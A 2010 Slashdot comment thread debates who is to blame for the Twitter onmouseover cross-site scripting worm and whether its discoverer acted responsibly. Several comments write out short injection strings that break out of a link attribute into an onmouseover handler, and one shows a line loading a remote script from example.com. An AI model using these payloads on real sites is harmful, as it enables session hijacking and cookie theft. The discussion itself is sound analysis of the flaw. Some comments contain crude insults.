Aussie Student Responsible For Twitter Exploit

Got a great career ahead of him by simonbp · 2010-09-22 07:09 · Score: 2, Insightful

Got a great career ahead of him, if he wants...

Re:Got a great career ahead of him by Anonymous Coward · 2010-09-22 07:13 · Score: 0, Flamebait

If by "career" you mean the newest bitch on the prison block, then, yes.
Re:Got a great career ahead of him by Anonymous Coward · 2010-09-22 07:14 · Score: 0

Extradition to the USA awaits the lad upon graduation from high school. Wonder if Gitmo will be his new home?
Re:Got a great career ahead of him by iamhassi · 2010-09-22 08:27 · Score: 1

Last year in high school, first year in jail.

I'm not a lawyer but I'm pretty sure being "surprised that so many famous people got infected" is not a good legal defense.

"(Twitter) has indicated that it will not press charges against Delphin and has also declined to suspend his Twitter account"

Wow sounds like he really lucked out considering the embarassment he caused a lot of big wigs, maybe "i'm surprised" is a good defense? I'll have to use that next time I'm pulled over for speeding: "Officer I'm as surprised as you are I was going that fast, guess I'll just leave now"

--
my karma will be here long after I'm gone
Re:Got a great career ahead of him by Cwix · 2010-09-22 08:57 · Score: 2, Informative

He made a script that changed CSS, someone else used it for bad purposes. Hes not lucky, hes just a kid playing with computers that stumbled into something.

--
You are entitled to your own opinions, not your own facts.
Re:Got a great career ahead of him by bsDaemon · 2010-09-22 09:17 · Score: 5, Funny

The 1980s called. They want their curiosity back, you terrorist sympathizer!
Re:Got a great career ahead of him by AHuxley · 2010-09-22 15:48 · Score: 1

http://en.wikipedia.org/wiki/Electron_(computer_hacker) our last great computer news.
The remote computer tap, playback of a modem might have been a first for a police force.
A free book on the topic http://www.underground-book.net/

--
Domestic spying is now "Benign Information Gathering"

What does he have to do with anything? by Anonymous Coward · 2010-09-22 07:10 · Score: 0, Informative

He neither discovered the exploit (it was on someone else's Twitter page) nor did he create the worm that abused it.

Re:What does he have to do with anything? by Anonymous Coward · 2010-09-22 07:16 · Score: 1, Informative

bullshit, it has to be true that he discovered the exploit, netcraft confirms it:
http://news.netcraft.com/archives/2010/09/21/twitter-users-fall-victim-to-new-xss-worm.html
Re:What does he have to do with anything? by jeffmeden · 2010-09-22 07:49 · Score: 4, Informative

Reading comprehension fail.
"zzap appears to have discovered the vulnerability shortly after seeing RainbowTwtr's colourful use of CSS injection to display the colours of the rainbow."
He discovered *someone elses* use of the vulnerability. He then went on to make it more publicly known, and finally lamented the evil that was about to descend upon the twitterverse.
Re:What does he have to do with anything? by Anonymous Coward · 2010-09-22 11:01 · Score: 1, Informative

Correct. The actual exploit was discovered by a Japanese man who also discovered an earlier XSS attack on Twitter's dev servers. This story was manufactured by the Australian media.
Re:What does he have to do with anything? by Anonymous Coward · 2010-09-22 15:32 · Score: 0

Wow, you are a fucking idiot. Not only did you completely miss the obvious sarcasm of that post, but you also use the word "fail" in a manner that both reveals your lack of education and your lack of imagination.
Good job!
Re:What does he have to do with anything? by dbIII · 2010-09-22 20:03 · Score: 1

and finally lamented the evil that was about to descend upon the twitterverse.
Twitter wasn't already evil to start with?
Re:What does he have to do with anything? by tehcyder · 2010-09-22 23:39 · Score: 1

the evil that was about to descend upon the twitterverse
Nothing could be as evil as using the word "twitterverse" without apparent irony.

--
To have a right to do a thing is not at all the same as to be right in doing it

Rock On by Anonymous Coward · 2010-09-22 07:10 · Score: 0

He only did everybody a favour by demonstrating the exploit (which is Twitter's fault, not his) in such a harmless way. And if hilarity happens to be a by-product, so be it.

Who caused it? by MyLongNickName · 2010-09-22 07:11 · Score: 0, Troll

The guy who discovered the exploit, or the coding process which allowed it?

--
See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year

Re:Who caused it? by Anonymous Coward · 2010-09-22 07:13 · Score: 1, Funny

Or in keeping with your sig, Microsoft's fault for not including something like noscript to keep your browser from doing the wrong thing?
Re:Who caused it? by Anonymous Coward · 2010-09-22 07:18 · Score: 0

Yeah, when did we start blaming the guy who found the security flaw for the problems caused by it being there?
Re:Who caused it? by morgan_greywolf · 2010-09-22 07:34 · Score: 2, Funny

Well, the exploit uses JavaScript. This means that any browser that supports JavaScript does not provide some sort of NoScript facility that's installed and turned on by default would be vulnerable to the exploit.
Which means pretty much all of them.
But you can't even blame the browser; the security of Twitter's site belongs solely to Twitter and their crack website development staff.

--
My blog
Re:Who caused it? by catmistake · 2010-09-22 07:34 · Score: 1

My prefs are set to keep sigs hidden, you insensitive clod!

--
The Admin and the Engineer
Re:Who caused it? by FuckingNickName · 2010-09-22 07:40 · Score: 5, Insightful

Since the fall of Adam.
Well, you did ask.
Re:Who caused it? by iamhassi · 2010-09-22 08:30 · Score: 2, Insightful

"The guy who discovered the exploit, or the coding process which allowed it?"

OH I know this one!!!

What is... the guy that discovered the exploit!

Because see, even though you discovered that the front door was left open it doesn't give you permission to go in. See how that works? Yeah I know it's very confusing, best just to not check if doors are open unless they're doors you own.

--
my karma will be here long after I'm gone
Re:Who caused it? by nelsonal · 2010-09-22 09:13 · Score: 1

A modpoint, a modpoint, my kingdom for a modpoint.

--
Degaussing scares the bad magnetism out of the monitor and fills it with good karma.
Re:Who caused it? by tqk · 2010-09-22 11:26 · Score: 1

Because see, even though you discovered that the front door was left open it doesn't give you permission to go in.
Agreed. However, what if that door's the Security Entrance for a nuclear power plant (or worse; see Cliff Stoll's "The Cuckoo's Egg")? Isn't it a good thing that people are testing these things? Their actions from then on should dictate their future. Exploit it, or report it to the auths?
Good testers are hard to find. Free, volunteer testers should be welcomed.
There's so much crap going on out there, the authorities can't possibly keep up with all of it (considering their present preoccupation with other things (not going there)).

--
"Tongue tied and twisted, just an Earth bound misfit ..." -- Pink Floyd.
Re:Who caused it? by pookemon · 2010-09-22 12:15 · Score: 1

Ok, so you discover the front door is open on your local Nuclear Power Plant. Do you:

(a) Tell every man and his dog the door is open, or

(b) Tell the operator of the power station that the door is open?

A "tester" would go for (b). This guy went for (a).

--
dnuof eruc rof aixelsid
Re:Who caused it? by tqk · 2010-09-22 12:49 · Score: 1

I think I suggested the ethical one would try to contact the authorities. (a) is last resort, after they prove ineffectual.

--
"Tongue tied and twisted, just an Earth bound misfit ..." -- Pink Floyd.
Re:Who caused it? by reiisi · 2010-09-22 13:47 · Score: 1

Likewise the security of Microsoft OSses.
Microsoft should be fined an equivalent of the cost of all the unrequested commercial mail being transmitted on the internet, and should be required to pay everyone who has to delete more than twenty such mails a week for the time lost to the deletion process.
Microsoft should be required to pay every user whose bank account has been compromised the money lost.
And that's just for starters.
Sure, twitter's coding is bad, but the problem is made much worse by Microsoft's shoddy implementations of prototypes and turning the prototypes into de-facto standards well before the tech was ready.

--
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Re:Who caused it? by reiisi · 2010-09-22 13:48 · Score: 1

That was not a security flaw. That was an opportunity.

--
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Re:Who caused it? by jxs2151 · 2010-09-22 13:54 · Score: 1

Oh shut up. Seriously, do some research instead of just doing the trendy, Bash Microsoft thing. What a stupid turdball you are.

"Responsible" by iONiUM · 2010-09-22 07:11 · Score: 5, Informative

The summary kind of makes it sound like he's a kid who was looking for exploits and then used it to make a virus. This doesn't seem to be the case at all. According to the TFA he saw some people using CSS in their twitter posts, and wondered if he could use HTML/JavaScript (as I would be too). He found he could, did some experimenting, and his followers then started doing it too and it went viral (the idea), and then some malicious people found it, and went viral (the code).

I assume no punishment is being leveraged against him, but I'm sure many will misunderstand what happened and call for it anyways. Curiosity should be encouraged.

Re:"Responsible" by The+MAZZTer · 2010-09-22 07:26 · Score: 1

Based on how it worked, it was likely using JavaScript to set CSS styles. So it's not really a far leap of logic that other JavaScript would work too (the key was that it couldn't have spaces in it).
Re:"Responsible" by omnichad · 2010-09-22 07:34 · Score: 1

The javascript was inserted with an onmouseover (that twitter conveniently put into a specific spot in the HTML). Presumably, the CSS styles were done using a style attribute. I can't say for sure, I forgot what the code for the exploit looked like.
Re:"Responsible" by clone53421 · 2010-09-22 07:39 · Score: 1

Likely some CSS style that failed to realize that (despite having no spaces) not only is red"onmouseover="//javascriptgoeshere an invalid CSS colour attribute*, it’s also a security hole if you don’t ensure that it’s properly parsed by the browser as a CSS colour attribute, not an onmouseover event.
*no idea which CSS style was being set, but I used colour as an example

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
Re:"Responsible" by Inda · 2010-09-22 08:14 · Score: 2, Interesting

Forgive my ignorance, as I don't use Twitter, but they're supposed to be massive and they make these sorts of mistakes? It's a simple message board, no?

We were doing this sort of crap on vBulletin boards 10 years ago. Stealing cookies, redirecting, replacing images; all for kicks. After messing about for a week, everyone got bored and we had javascript events blocked on our own board.

--
This post contains benzene, nitrosamines, formaldehyde and hydrogen cyanide.
Re:"Responsible" by omnichad · 2010-09-22 08:49 · Score: 1

I think you read everything I said and understand none of it. We're talking about the original CSS exploit vs. the JavaScript version. The bug was related to how Twitter parses hashtags when they are part of a URL. Only the javascript version would have used an onmouseover=" secretly inserted into the URL after a hashtag. The CSS exploit probably looked more like www.something.com/#test"style='color: red;'
Re:"Responsible" by ultranova · 2010-09-22 09:03 · Score: 3, Insightful

Forgive my ignorance, as I don't use Twitter, but they're supposed to be massive and they make these sorts of mistakes? It's a simple message board, no?

Twitter is a simple message board, but it's accessed with virtual machines that were never designed but just kinda happened - in other words, modern browsers. Combine that with the attitude some people still have that you need to filter - enumerate all bad things and check for them - rather than simply escape the user-input string, and it shouldn't be a surprise that these things keep on happening.
Not that it really matters. An exploited website is like graffiti in real life: much ado about nothing.

--
Forget magic. Any technology distinguishable from divine power is insufficiently advanced.
Re:"Responsible" by zuperduperman · 2010-09-22 11:07 · Score: 1

What rock have you been under? Twitter are famous for total technical incompetence. They could barely keep their site up for years. People used it anyway. Sadly they are now a case study in how technical competence doesn't matter.
Re:"Responsible" by cyclomedia · 2010-09-22 20:24 · Score: 1

Twitter parses links in text using a regular expression that basically looks for "http:" and reads until it hits white space, it then stuffs an <a href="{0}">{0}</a> around it. As the quote character is "not white space" the attack is your basic injection, stick in your own closing quote like this http;//foo"onmouseover="alert('bar');. The opening A tag then ends up looking like this: <a href="http;//foo"onmouseover="alert('bar');"> (I used a semicolon after the HTTP so that slashdot's own auto-link regexp wouldnt pick it up!)
One fix is to change the regexp to stop reading when it hits a whitspace OR a quote mark

--
If you don't risk failure you don't risk success.
Re:"Responsible" by omnichad · 2010-09-23 01:02 · Score: 1

Except that you're party wrong. It WAS a regular expression, but they had properly sanitized their main URL code. The problem was that a hash symbol in a URL, which is a valid part of a URL, was being converted wrong specifically by the t.co url shortener that they were starting to use combined with their hashtag regex:

http:/twitter.com/test#@"onmouseover="javascript:alaert('helloworld');"/

Not exactly by Shyfer · 2010-09-22 07:11 · Score: 5, Informative

The article says he is the one that discovered the exploit, but he did not create the script that made 'tweets of a former British PM's wife linking to hardcore porn'. Just to clarify.

Re:Not exactly by Anonymous Coward · 2010-09-22 08:17 · Score: 1, Funny

That doesn't even begin to clarify. Is he formerly British or formerly a PM? Is she formerly British or formerly his wife?
Re:Not exactly by MrNemesis · 2010-09-22 13:56 · Score: 1

Too late for that - the evening papers in the UK have already run an article on him banging on about how he'd "created a virus for Japanese porn" and was "completely unrepentant for his actions". Tomorrow's knee jerk involves hanging the chaps who discovered HIV and next week we're going to decapitate all asbestos inspectors.

--
Moderation Total: -1 Troll, +3 Goat

Six Degrees by TubeSteak · 2010-09-22 07:11 · Score: 3, Interesting

Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.

This is doubly true when the vector is a social networking site.

--
[Fuck Beta]
o0t!

Re:Six Degrees by Culture20 · 2010-09-22 07:34 · Score: 2, Interesting

Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.
Does this mean that Hollywood may not have been designed to route around Kevin Bacon in the event that Global Thermonuclear War takes him out? Can a dead Kevin Bacon star in such movies as "Weekend at Bernie Junior's" or as corpse-extras to keep the connections up?
Re:Six Degrees by Nidi62 · 2010-09-22 07:41 · Score: 1

How do you tell the difference in the acting of a live Kevin Bacon and a live one, anyway?

--
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
Re:Six Degrees by Nidi62 · 2010-09-22 07:42 · Score: 1

ah, damn, between a live Kevin Bacon and a dead one.

--
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
Re:Six Degrees by The_mad_linguist · 2010-09-22 08:03 · Score: 3, Insightful

See! You can't!
Re:Six Degrees by hedwards · 2010-09-22 08:03 · Score: 1

Not really, the fact that they're famous and have huge bank accounts ensures that they will be hit like the rest of us. They're more likely to have some protection than the rest of us, but the pay off is a lot bigger.
Re:Six Degrees by shadowrat · 2010-09-22 08:04 · Score: 1

oh dang! so quick to judge kevin bacon, but his acting was such that you confused the dead one for a live one!
Re:Six Degrees by tsm_sf · 2010-09-22 11:48 · Score: 1

Hollywood sees Kevin Bacon as damage and routes around him?

--
Literalism isn't a form of humor, it's you being irritating.
Re:Six Degrees by overlordofmu · 2010-09-23 01:05 · Score: 1

And if you choose to play "Six Degrees of Kevin Bacon" please remember these two films:

'Flatliners' and Oliver Stones 'JFK'

Kevin was in both of those with some other long-time and/or prolific actors.

Kiefer Sutherland, Julia Roberts and William Baldwin in 'Flatliners'.

Jack Lemmon, Kevin Cosner, Walter Matthau, Vincent D'Onofrio, Joe Pesci, Gary Oldman, Sissy Spacek, Tommy Lee Jones, John Candy were all in 'JFK'.

Hell, Fidel Castro was in some archive footagein 'JFK'. There is one degree of separation between Kevin Bacon and Castro.

I know people who consider including 'JFK' in a Kevin Bacon chain to be cheating.
Re:Six Degrees by Anonymous Coward · 2010-09-23 01:37 · Score: 0

Does this mean that Hollywood may not have been designed to route around Kevin Bacon in the event that Global Thermonuclear War takes him out?
That would be a different property. What is usually stated is that, given a random actor X, the shortest path from X to Kevin Bacon in the appeared-in-a-movie-with graph is small on average. That's not the same as stating that, given actors X and Y, the probability that there is a path between them not containing Kevin Bacon is small.

who's responsible? by spikenerd · 2010-09-22 07:12 · Score: 1

Aussie Student Responsible For Twitter Exploit

Discovering an exploit hardly makes him responsible for it. Let's put the blame where it belongs, probably either sloppy coding practices, or high pressure from clueless management to develop software quickly.

Re:who's responsible? by Rhacman · 2010-09-22 07:22 · Score: 2, Insightful

He's not responsible for Twitter's bad coding but I would say he acted irresponsibly by toying around with it and exposing it to the public rather than reporting it directly to Twitter staff. If a vending machine malfunctions and lets you get candy out of it without paying, it isn't the customers fault the machine malfunctioned but it doesn't make it right to take the candy or tell everyone in earshot that the machine is giving out free candy. Not saying how I would behave in that situation, just that it wouldn't be right ;)

--
Account -> Discussions -> Disable Sigs
Re:who's responsible? by Anonymous Coward · 2010-09-22 07:24 · Score: 0

Leaving my front door open is sloppy and stupid.
Entering without my permission is (potentially, absolutely or likely depending on the jurisdiction) a crime.
Re:who's responsible? by $RANDOMLUSER · 2010-09-22 07:27 · Score: 3, Insightful

...either sloppy coding practices, or high pressure from clueless management to develop software quickly

Dude, that's almost always an AND, not an XOR.

--
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
Re:who's responsible? by blair1q · 2010-09-22 07:31 · Score: 1

He's responsible for discovering that he could change the color of texts.
He's not responsible for cross-linking to porn sites.
And he's no doubt not the first to try it, just the first since Twitter borked their own countermeasures against such things.
Re:who's responsible? by clone53421 · 2010-09-22 07:34 · Score: 3, Insightful

He didn’t really fathom the extent of the exploit, though. He thought it was just a novel toy to pop up alert boxes when you moved the mouse over the tweet. (Well, he actually got the idea of trying to steal users’ session cookies, but didn’t find a way to do it within the 140-character limit.) The idea that really allowed it to go viral – posting a new tweet – was conceived by someone else.
Hell, I’ve done similar... “oh look, the layout of the page broke after I put a special char in that form element... I wonder if I can make it alert(document.cookie) using that? (sure enough) yup...” The main difference in this case is that (a) it was a massive social networking site and (b) other people could see his experiments and come up with their own little variations on the exploit, some of which were less benign than his experiments had been...

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
Re:who's responsible? by Rhacman · 2010-09-22 07:46 · Score: 2, Insightful

Fair enough that it probably seemed harmless what he was doing, but it was still a mistake to do it even if it was only apparent in retrospect. I'm not saying crucify him, just that he does bear some portion of the responsibility however big or small.

--
Account -> Discussions -> Disable Sigs
Re:who's responsible? by spikenerd · 2010-09-22 07:53 · Score: 4, Interesting

Your analogy has many flaws. Hackers do not enter your computer. Exploits are not typical methods of entry. Your home is not a service intentionally placed on the web for others to use. Let me see if I can fix it...

Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Re:who's responsible? by thestudio_bob · 2010-09-22 08:07 · Score: 1

With that kind of logic every executive working at MicroSoft should be in Jail.

--
The real Sig captains the Northwestern. This one captains /.
Re:who's responsible? by matrim99 · 2010-09-22 08:10 · Score: 5, Insightful

...Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Twitter.
Oh wait, Microsoft.
No... Google.
Ooooh, Terrorists. Almost had me there.

--
Right. No, your other right. No, the other other right.
Re:who's responsible? by hedwards · 2010-09-22 08:13 · Score: 1

Actually, that's not entirely true, in CA at least you can trespass on somebody's computer, but only under certain conditions. If you're curious, Intel v. Hamidi is the case you'd want to look up. Just being on the site isn't enough, but in a case like this where he interfered or if the plaintiff can demonstrate that interference is likely it could come into play. It is more or less accepted at both the state and federal level.

Trespass
Re:who's responsible? by interkin3tic · 2010-09-22 08:55 · Score: 1

I was going to guess child molesters, the two party system, daryl mcbride, and then idiotic users in that order, but I have no idea what we're talking about so I'm glad you went first. That could have been embarrassing.
Re:who's responsible? by zuperduperman · 2010-09-22 11:11 · Score: 1

Except he didn't even discover it. This story is basically a fabrication. He was one person in a long chain who happened to play with it after it was discovered.
This often occurs in the australian media - any time an Australian is remotely involved in something no matter how obscure their role they run it as "An Australian Did Something And Somebody Noticed" which seems to appeal to the masses here.
Re:who's responsible? by syousef · 2010-09-22 12:30 · Score: 1

Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Overzealous equal opportunity campaigners

--
These posts express my own personal views, not those of my employer
Re:who's responsible? by tqk · 2010-09-22 13:22 · Score: 1

An idea is not resposible for those who hold it.

--
"Tongue tied and twisted, just an Earth bound misfit ..." -- Pink Floyd.
Re:who's responsible? by reiisi · 2010-09-22 13:55 · Score: 2, Informative

Hmm.
Do you have what we in Texas call a drivers' license?
If you do, do you remember, in your first year or so of driving any stupid mistakes you made just because of your lack of experience?
Do you have you own home server exposed to the 'net? Have you scanned it with the vulnerability scanners available?
And so forth, without even trying to approach the damping effect on free speech that you are suggesting.

--
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Re:who's responsible? by An+anonymous+Frank · 2010-09-22 14:06 · Score: 1

The twit?
Re:who's responsible? by Anonymous Coward · 2010-09-22 17:26 · Score: 0

With that kind of logic every executive working at MicroSoft should be in Jail.
Are you suggesting that they shouldn't? What are you doing on /. ?
Re:who's responsible? by Anonymous Coward · 2010-09-22 18:07 · Score: 0

I'm not sure how that quote fits this discussion. It's like saying a gun is not responsible for the people who use it, which is true for the gun but says nothing of the responsibility or ethics of the person who shoots someone or the person who leaves it in a playground.
As far as what I think you are getting at, this becomes a matter of principle so we won't come to an agreement here but I do think there are times when it is unethical to divulge information to the public. Suppose you discovered a technique that might allow you to determine the whereabouts of people in the witness protection program. Would you share this information privately with the authorities, or discuss it freely in a public forum? Call it responsibility or not, but your actions or inaction could influence the well-being of others.
Re:who's responsible? by sigmoid_balance · 2010-09-22 23:42 · Score: 1

You are responsible for having a retard for a guard.
Re:who's responsible? by tehcyder · 2010-09-22 23:53 · Score: 1

Do you have what we in Texas call a drivers' license?
If you do, do you remember, in your first year or so of driving any stupid mistakes you made just because of your lack of experience?

Yes, but as a new/learner driver, you don't get let off if your stupid mistake ends up killing someone.

--
To have a right to do a thing is not at all the same as to be right in doing it
Re:who's responsible? by Rhacman · 2010-09-23 05:29 · Score: 1

I've accidentally run a few red lights, and I take responsibility for that. I've run unprotected servers before I knew any better, and been responsible for that. I don't think it should be illegal to disclose a security vulnerability to the public, but personally I think it's irresponsible to not at least notify the service provider first and even more so to deliberately exercise the exploit. We all make mistakes wether by negligence or simply misunderstanding. We remain responsible for the outcome of our actions regardless of the intent or legality.

--
Account -> Discussions -> Disable Sigs

Famous by lymond01 · 2010-09-22 07:15 · Score: 1

Famous people don't use Twitter.
Twitter makes people famous.

Followed by the other related quote:

There's a sucker born every minute.

I'd say Twitter is responsible. by Beelzebud · 2010-09-22 07:15 · Score: 2, Insightful

It's their site, their code, and they set the rules.

Re:porn by inerlogic · 2010-09-22 07:16 · Score: 0, Redundant

+1 Informative

Shocking! by DarthVain · 2010-09-22 07:21 · Score: 1

You mean twitter is actually useful for something?

Virus or exploit by stimpleton · 2010-09-22 07:24 · Score: 4, Interesting

"so many famous people got infected."

I am not a vegetarian, but I get annoyed at people that proclaim "I am vegetarian. I only eat fish, cheese, and chicken."

Similarly, anyone who was exposed to the computer wrecking virus's of the 90's thru to 2002, know what "infection" really means. I am not a low level coder, only high level languages in a business environment, but I do wonder what some old skoolers must think when they read about a piece of HTML Javascript being described as "Infection". I am vegetarian, I will eat steak only if its well done.

--

In post Patriot Act America, the library books scan you.

Re:Virus or exploit by blair1q · 2010-09-22 07:36 · Score: 1

Actually, anyone who was exposed to Syphilis in the 18th century knows what "infection" really means, and it wasn't known as a disease of the rich for nothing.
Re:Virus or exploit by Anonymous Coward · 2010-09-22 07:47 · Score: 0

"Actually, anyone who was exposed to Syphilis in the 18th century knows what "infection" really means, and it wasn't known as a disease of the rich for nothing."
Actually, anyone who was exposed to Syphilis in the 18th century is likely dead by now since that was over 110 years ago.
Re:Virus or exploit by east+coast · 2010-09-22 07:48 · Score: 1

As a lacto-ovo vegetarian I think dairy is ok.

--
Dedicated Cthulhu Cultist since 4523 BC.
Re:Virus or exploit by blair1q · 2010-09-22 07:59 · Score: 1

So you're saying it was 100% fatal! Aiieeeeeeee!
Re:Virus or exploit by clone53421 · 2010-09-22 08:02 · Score: 1

Egads! Either you’re posting from the year 1910 or you’re likely dead by now!
(“The 18th century lasted from 1701 to 1800 in the Gregorian calendar.”)

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
Re:Virus or exploit by hedwards · 2010-09-22 08:16 · Score: 2, Informative

Actually, cheese is OK in general for vegetarians. Chicken is never OK for a genuine vegetarian, and the term for somebody that only eats meat in the form of seafood would be a Pescetarian. But since many people are familiar with the term, a lot of them refer to themselves as vegetarian anyways.
Re:Virus or exploit by Anonymous Coward · 2010-09-22 10:44 · Score: 0

But since many people are familiar with the term, a lot of them refer to themselves as vegetarian anyways.
Looks like you an adverb.
Re:Virus or exploit by Dodgy+G33za · 2010-09-22 13:19 · Score: 1

Strictly speaking most cheese is not vegetarian as it contains rennet (an extract from the lining of a sheep's stomache, the removal of which is pretty much fatal). Which is why you can get vegetarian cheese. Just because many vegetarians choose to be flexible about it, especially when eating out, doesn't make it any more vegetarian than fish or oyster sauce.
Re:Virus or exploit by Anonymous Coward · 2010-09-22 21:11 · Score: 0

The day-old male calves that get snatched from their mother and taken to the veal pens don't.
Re:Virus or exploit by east+coast · 2010-09-23 00:26 · Score: 1

If it weren't for meat eaters eating this veal they wouldn't be snatched away in the first place.

--
Dedicated Cthulhu Cultist since 4523 BC.

haxoring by Anonymous Coward · 2010-09-22 07:25 · Score: 0

How come when these leet websites are hacked that the hackers who hacked it do not put up a picture tubgirl so other people can see it and maybe make them want to delete their account?

I do not understand why hackers who hack into websites do not do more leet stuff

Re:haxoring by denis-The-menace · 2010-09-22 07:32 · Score: 1

Maybe because they (hackers) don't want to be banned from twitter when they are found out?
Disclaimer: I don't Twat or book faces.

--
Obama's legacy: (N)othing (S)ecure (A)nywhere and (T)error (S)imulation (A)dministration

Re:porn by Pojut · 2010-09-22 07:25 · Score: 1

I guess this was the "inout, inout" part of the bible referred to in A Clockwork Orange...?

--
Living With a Nerd

From TFA... by clone53421 · 2010-09-22 07:26 · Score: 3, Insightful

After a "little bit of coding", he said he "managed to generate a dialog box containing the data from within the Twitter cookie file". He said "theoretically this could be used to maliciously steal users' account details".

They make it sound difficult to alert(document.cookie)...

But "the problem was being able to write code that can steal usernames and passwords while still remaining under Twitter's 140 character tweet limit", he said.

Ah, so the 140-character limit is actually beneficial in some sense!

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.

Re:From TFA... by Ant+P. · 2010-09-23 12:17 · Score: 1

Ah, so the 140-character limit is actually beneficial in some sense!
On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of:
$(this).append($('<script src=//example.com/hax.js>'))
Re:From TFA... by clone53421 · 2010-09-23 12:54 · Score: 1

Yes but there are cross-site scripting restrictions designed to limit the liability that can be generated there.

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.

Re:porn by Anonymous Coward · 2010-09-22 07:29 · Score: 0

It probably did happen, or something like it. What we're left with is always an urbane view of history.

What I liked by g0bshiTe · 2010-09-22 07:30 · Score: 0

FTFA

He said it was Twitter's responsibility, not his, to keep the site secure.

That defense won't work. If you found this on say the NSA website, or Microsoft, don't you think they are gonna prosecute your ass for unauthorized use of a computer system. This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.

--
I am Bennett Haselton! I am Bennett Haselton!

Re:What I liked by Superken7 · 2010-09-22 07:39 · Score: 2, Interesting

please read the rest of TFA, not just that sentence.
He just discovered it but did not exploit it in a malicious way. It was others who did that. I don't think he needs any "defense" for doing an alert('uh oh');
He probably means that its their responsibility that others abused the exploit that he did NOT write.
Re:What I liked by vux984 · 2010-09-22 07:39 · Score: 2, Insightful

This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.
Little Bobby Tables strikes again. ;)
http://xkcd.com/327/
Re:What I liked by conspirator57 · 2010-09-22 07:40 · Score: 2, Informative

would you prefer it hadn't been found and exposed so it can be fixed?
or would you prefer that unknown criminals were the ones exploiting it fraudulently?
because with a latent bug like this, those are the choices.

--
"If still these truths be held to be
Self evident."
-Edna St. Vincent Millay
Re:What I liked by conspirator57 · 2010-09-22 07:42 · Score: 1

err... yeah. change that first line to "had been"

--
"If still these truths be held to be
Self evident."
-Edna St. Vincent Millay

Not completely patched by wbav · 2010-09-22 07:43 · Score: 2, Interesting

I just found that in search results, twitter appears to be still affected by this bug.

The video is still processing but should be up soon.

--

=================
Unix is very user friendly, it's just picky about who its friends are.

But famous people are experts ... by perpenso · 2010-09-22 07:44 · Score: 1

Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.

But famous people are technical experts. That's why we turn to them so often for their opinion and advice on important complicated problems that overwhelm and confuse the average person. ;-)

Shame on twitter by atisss · 2010-09-22 07:50 · Score: 1

Don't they check for identical messages repeating rapidly?

Re:Shame on twitter by wbav · 2010-09-22 07:55 · Score: 1

Because it would be difficult to have the javascript rewrite its self each time it posted?

That's not to say your idea is without merit, it just isn't a complete solution.

--

=================
Unix is very user friendly, it's just picky about who its friends are.
Re:Shame on twitter by atisss · 2010-09-22 08:20 · Score: 1

well, 140 signs are quite limiting.
I'm not saying that it's the ultimate protection, however this should be one of basic measures to detect appearance of new bots, viruses, etc.
Re:Shame on twitter by Anonymous Coward · 2010-09-22 13:00 · Score: 0

Aren't most tweets just retweets of what other twits tweeted?

Wtf? by X.25 · 2010-09-22 07:50 · Score: 1

"Exploit"? What, exactly, he "exploited"?

Hey, look at an "exploit" that makes shit posts, and has no value in relation to security whatsoever.

But yeah, he has a great career ahead of him, and he's next security wizard?

No wonder everyone left security industry, and you're left with monkeys interested in Twitter/Facebook only...

Re:Wtf? by Anonymous Coward · 2010-09-22 08:25 · Score: 1, Funny

Yeah, well, he can write a book now and every IT manager and CISO will gobble it up and adjust their entire strategy because it is written by a guy whose name they saw on the news... as long as he mentions the word "cloud" in there somewhere of course.

This kid did what exploit hunters do by Stan92057 · 2010-09-22 08:21 · Score: 1

This kid did what exploit hunters do, release code to the internet knowing it can be used for criminal purposes. And if hes smart enough to be messing around with the code then he should have been smart enough to figure it will be used for bad purposes. Thats what history of releasing exploits tell me anyways. And some say its twitters fault,well its not twitter who is paying, its the exploited users that pay. I think those who have the knowledge have a mush more responsibility to NOT abuse there knowledge. This kid abused his knowledge,knowing other could use the exploit for bad purposes.

--
Jack of all trades,master of none

Re:This kid did what exploit hunters do by HornyBastard · 2010-09-22 09:33 · Score: 2, Insightful

"This kid did what exploit hunters do, release code to the internet knowing it can be used for criminal purposes."
According to that logic, if i stab you in the face, the guy who sold me the knife is responsible.
This kid did not do anything wrong. All he did was let people know about the bug.
car analogy:
All he did was put a flyer in your window saying that if you switch on the headlights and the radio at the same time, your car will explode. He is now responsible if somebody else uses that knowledge to blow up a lot of cars.

--
Death has been proven to be 99% fatal in lab rats.

He never exploited.. by munky99999 · 2010-09-22 08:21 · Score: 2, Insightful

He found the exploit... he didnt exploit anything. He is thusly not responsible at all. The mischievous users and twitter are the ones responsible.

This is exactly the kind of scenario by Dracos · 2010-09-22 08:26 · Score: 4, Interesting

